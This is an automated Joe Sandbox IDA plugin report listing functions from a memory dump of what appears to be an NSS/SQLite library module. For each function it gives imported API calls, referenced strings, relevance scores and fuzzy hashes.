Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 94152009da4d32dab2f32b4fb29cb878ff86505bfd55d83972f582c09b04822f
Instruction ID: 290859210a74a46f8f636c2d04a32f15f78401cdef7231c5fa21dfd393d0913e
Opcode Fuzzy Hash: 94152009da4d32dab2f32b4fb29cb878ff86505bfd55d83972f582c09b04822f
Instruction Fuzzy Hash: 9C72A2B5D052149FDF60DF28CC88799BBB5BF49308F6081A9D80CA7741DB329AA5CF91

Function 6CDC3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDC3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDC410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDC449C

Strings

database corruption, xrefs: 6CDC4490, 6CDC44F4, 6CDC4599, 6CDC4764, 6CDC4804
%s at line %d of [%.10s], xrefs: 6CDC4495, 6CDC44F9, 6CDC459E, 6CDC4769, 6CDC4809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDC4452, 6CDC4486, 6CDC44EA, 6CDC4571, 6CDC4580, 6CDC458F, 6CDC475A, 6CDC47FA

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 367451ddcc474320c4200377a820ae80f9a3f2cd7a7f877bb61696b06c91a66f
Instruction ID: 6832ed246f6db54a9ea927904adde6b81d48a5398a531bb3a36491a14ab24975
Opcode Fuzzy Hash: 367451ddcc474320c4200377a820ae80f9a3f2cd7a7f877bb61696b06c91a66f
Instruction Fuzzy Hash: 0A829E75B04205DFCB04DF69C480BAEB7B6BF49318F2581A9D905ABB61D731EC42CB92

Function 6CE9AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE9ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CE9ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CE9ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CE9AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE9ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9ADF0

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE9B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE9B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CE9B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE9B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9B40C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 3d537987e92b426836c281f0d2e3a54f282a5f619d0d5d50e2f706d4dd5923ad
Instruction ID: 3a160f162fa992521f673dc14afc63240143ad7230e2e8abcec4cbf02e36e77b
Opcode Fuzzy Hash: 3d537987e92b426836c281f0d2e3a54f282a5f619d0d5d50e2f706d4dd5923ad
Instruction Fuzzy Hash: B3228B71A04300AFE720CF14CC45B9A77B1AF8470CF34896CE9595B7A2E772E859CB96

Function 6CDE1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDE25F3

Strings

H, xrefs: 6CDE322D
%s.%s.%s, xrefs: 6CDE302D
access to view "%s" prohibited, xrefs: 6CDE2F4A
'%s' is not a function, xrefs: 6CDE2FD2
recursive reference in a subquery: %s, xrefs: 6CDE22E5
%s.%s, xrefs: 6CDE2D68
cannot join using column %s - column not present in both tables, xrefs: 6CDE32AB
unsafe use of virtual table "%s", xrefs: 6CDE30D1
H, xrefs: 6CDE329F
no such table: %s, xrefs: 6CDE26AC
too many references to "%s": max 65535, xrefs: 6CDE2FB6
a NATURAL join may not have an ON or USING clause, xrefs: 6CDE32C1
multiple recursive references: %s, xrefs: 6CDE22E0
no tables specified, xrefs: 6CDE26BE
no such index: "%s", xrefs: 6CDE319D
table %s has %d values for %d columns, xrefs: 6CDE316C
too many columns in result set, xrefs: 6CDE3012
cannot have both ON and USING clauses in the same join, xrefs: 6CDE32B5

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 61e60b5acf825c6a28d9d65be8fed4008b6712f15385cfb70dd677a554505ede
Instruction ID: c42777d8e8e6d738bbb1fe22fc1b8b2287dc34470e76f5c546d3060e50ffa016
Opcode Fuzzy Hash: 61e60b5acf825c6a28d9d65be8fed4008b6712f15385cfb70dd677a554505ede
Instruction Fuzzy Hash: 24D26C74E0420ACFDB04CF95C884BAEB7B2BF4D31CF288169D855ABB61D735A946CB50

Function 6CE1ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE1ED38

Part of subcall function 6CDB4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDB4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE1EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE1EFE4

Part of subcall function 6CEDDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDB5001,?,00000003,00000000), ref: 6CEDDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE1F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE1F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE1F1D1
sqlite3_free.NSS3(?), ref: 6CE1F368

Strings

offsets, xrefs: 6CE1EFAF, 6CE1EFDF, 6CE1F01F
fts4aux, xrefs: 6CE1ECF9
fts3tokenize, xrefs: 6CE1F30F
optimize, xrefs: 6CE1F199, 6CE1F1CC, 6CE1F211
fts3, xrefs: 6CE1F247
matchinfo, xrefs: 6CE1F04F, 6CE1F082, 6CE1F0C2, 6CE1F0F2, 6CE1F124, 6CE1F169
simple, xrefs: 6CE1ED79
fts4, xrefs: 6CE1F2AD
fts3_tokenizer, xrefs: 6CE1EE1A, 6CE1EEA8
snippet, xrefs: 6CE1EF05, 6CE1EF37, 6CE1EF7C
unicode61, xrefs: 6CE1EDB5
porter, xrefs: 6CE1ED97

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 706d6dd731695b62d07c9cbab221b5edd4b1f66994d02357b0489aa692122b85
Instruction ID: 5f10342ae98db0cde410890aa9d25e35ea730676e07941eb5a0346148b9d6b51
Opcode Fuzzy Hash: 706d6dd731695b62d07c9cbab221b5edd4b1f66994d02357b0489aa692122b85
Instruction Fuzzy Hash: 8902F3B5B183404BE7049F31988572B36B1ABC630CF24493DD85A87F10EB79E866C7D2

Function 6CE97C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE97C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CE97C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE97D1E

Part of subcall function 6CE97870: SECOID_FindOID_Util.NSS3(?,?,?,6CE991C5), ref: 6CE9788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE97D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CE97D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CE97DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE97DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE97DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE97E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CE97E58

Part of subcall function 6CE97870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE991C5), ref: 6CE978BB
Part of subcall function 6CE97870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CE991C5), ref: 6CE978FA
Part of subcall function 6CE97870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CE991C5), ref: 6CE97930
Part of subcall function 6CE97870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE991C5), ref: 6CE97951
Part of subcall function 6CE97870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE97964
Part of subcall function 6CE97870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE9797A
Part of subcall function 6CE97870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CE97988
Part of subcall function 6CE97870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CE97998
Part of subcall function 6CE97870: free.MOZGLUE(00000000), ref: 6CE979A7
Part of subcall function 6CE97870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CE991C5), ref: 6CE979BB
Part of subcall function 6CE97870: PR_GetCurrentThread.NSS3(?,?,?,?,6CE991C5), ref: 6CE979CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE97E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE97F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE97F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE97FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE97FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CE98038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE98050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE98093
SECOID_FindOID_Util.NSS3 ref: 6CE97F29

Part of subcall function 6CE907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE38298,?,?,?,6CE2FCE5,?), ref: 6CE907BF
Part of subcall function 6CE907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE907E6
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE9081B
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE90825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CE98072
SECOID_FindOID_Util.NSS3 ref: 6CE980F5

Part of subcall function 6CE9BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CE9800A,00000000,?,00000000,?), ref: 6CE9BC3F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 7e731c9ad52b16960c2d7c322da9075ef11e972f2799564e679381ffa75632e7
Instruction ID: 346ae17a7af8f08184ceb07e76cbff97513b62c9ce21a2bdd9a448c01fe804f8
Opcode Fuzzy Hash: 7e731c9ad52b16960c2d7c322da9075ef11e972f2799564e679381ffa75632e7
Instruction Fuzzy Hash: B3E18F716093009FE710CF28D880B5A77F5AF8931CF24496DE89A9BB61E731EC49CB52

Function 6CEC3F30 Relevance: 27.4, APIs: 18, Instructions: 411COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000079,?,?,?,?,?,6CEC12C9,?,00000000), ref: 6CEC408E
PR_SetError.NSS3(FFFFE005,00000000,?,00000000), ref: 6CEC40E7
memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CEC411C
HASH_HashBuf.NSS3(00000004,?,?,?,?,?,?,?,00000000), ref: 6CEC412F

Part of subcall function 6CE42800: PORT_Alloc_Util.NSS3(00000008), ref: 6CE42847
Part of subcall function 6CE42800: free.MOZGLUE(00000000), ref: 6CE428D2

Part of subcall function 6CEC04C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CEC461B,-00000004), ref: 6CEC04DF
Part of subcall function 6CEC04C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CEC461B,-00000004), ref: 6CEC0534

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEC4197
memcpy.VCRUNTIME140(?,?,00000430,00000000,?,000F4240,00000000), ref: 6CEC41DE
PR_SetError.NSS3(FFFFE005,00000000,?,00000000), ref: 6CEC433C
PR_Now.NSS3(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEC4189

Part of subcall function 6CEF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DC6
Part of subcall function 6CEF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DD1
Part of subcall function 6CEF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEF9DED

memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CEC4263
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6CEC4274
PR_Now.NSS3(?,?,?,?,?,?,?,?,00000000), ref: 6CEC4298
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEC42A6
memcpy.VCRUNTIME140(-00000004,?,00000FFC,00000000,?,000F4240,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEC42F9
memset.VCRUNTIME140(-FFFFEFF4,00000000,00000000,?,00000000), ref: 6CEC4370
memcpy.VCRUNTIME140(?,?,00000020,?,?,?,?,00000000), ref: 6CEC4387
PR_Now.NSS3(?,?,?,?,?,?,?,?,00000000), ref: 6CEC440A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEC4418
memcpy.VCRUNTIME140(?,?,000000A4,00000000,?,000F4240,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEC44D7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy$Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorTime$System$Alloc_FileHashObjectSingleUtilWaitfreememset
String ID:
API String ID: 4224320964-0
Opcode ID: 46af85b61d4a56a433c55e9bea41bcb9fbbc430b76eacc06d20408f6288ef247
Instruction ID: 29ab1521b942b0e4b8707d21720200a9b65742a5956662bea9fa50812f2122b3
Opcode Fuzzy Hash: 46af85b61d4a56a433c55e9bea41bcb9fbbc430b76eacc06d20408f6288ef247
Instruction Fuzzy Hash: C602ACB5E006958FDB14CF64D980BEAB7F5BF48318F1081AAE85997741E370EA84CF91

Function 6CE21C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE21C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE21C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE21CA1
GetLengthSid.ADVAPI32(?), ref: 6CE21CA9
malloc.MOZGLUE(00000000), ref: 6CE21CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE21CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE21CE4
GetLengthSid.ADVAPI32(?), ref: 6CE21CEC
malloc.MOZGLUE(00000000), ref: 6CE21CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE21D0F
CloseHandle.KERNEL32(?), ref: 6CE21D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE21D4D
GetLastError.KERNEL32 ref: 6CE21D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE21D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE21D7A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 528fc4227674ca0802886c90dfb2b9aa6c95add640cee4052904ea1a3799a3b0
Instruction ID: 348a06a920b015bf1b823af2e540b43d85a7c9681186fa2f328574d41aa594ba
Opcode Fuzzy Hash: 528fc4227674ca0802886c90dfb2b9aa6c95add640cee4052904ea1a3799a3b0
Instruction Fuzzy Hash: 1E3181B1E11218AFEF50AF64CC48BBA7BB8FF4A305F008169F60992610E7355A84CF65

Function 6CE23D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE23DFB
__allrem.LIBCMT ref: 6CE23EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE23FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE24047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE240DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE2415F
__allrem.LIBCMT ref: 6CE2416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE24288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE242AB
__allrem.LIBCMT ref: 6CE242B7

Strings

%lld, xrefs: 6CE23FB2
%04d, xrefs: 6CE2407B
%02d, xrefs: 6CE24086
%03d, xrefs: 6CE242E8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 48aab8868bb5a0a565ffb2e36739d605b9bb1d162fc0e7d8d4011fbe90e96fbf
Instruction ID: b3730c5edd4c5512fa25cb97ae17966f3d74ebcaa6097a7eff36f67e24e8c3b1
Opcode Fuzzy Hash: 48aab8868bb5a0a565ffb2e36739d605b9bb1d162fc0e7d8d4011fbe90e96fbf
Instruction Fuzzy Hash: 88F1F571A087409FD715CF38C841B9BB7FAAF86308F248A1EE49597751E738D4868B42

Function 6CE2EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE2EF63

Part of subcall function 6CE387D0: PORT_NewArena_Util.NSS3(00000800,6CE2EF74,00000000), ref: 6CE387E8
Part of subcall function 6CE387D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE2EF74,00000000), ref: 6CE387FD
Part of subcall function 6CE387D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE3884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE2F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE2F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE2F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE2F374
PL_strcasecmp.NSS3(6CF72FD4,?), ref: 6CE2F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE2F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE2F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE2F67D
CERT_DestroyName.NSS3(?), ref: 6CE2F68B

Part of subcall function 6CE38320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE38338
Part of subcall function 6CE38320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE38364
Part of subcall function 6CE38320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE3838E
Part of subcall function 6CE38320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE383A5
Part of subcall function 6CE38320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE383E3

Part of subcall function 6CE384C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE384D9
Part of subcall function 6CE384C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE38528

Part of subcall function 6CE38900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE38955

Strings

", xrefs: 6CE2F21B
oid., xrefs: 6CE2F2CF
*, xrefs: 6CE2F3C6

Memory Dump Source

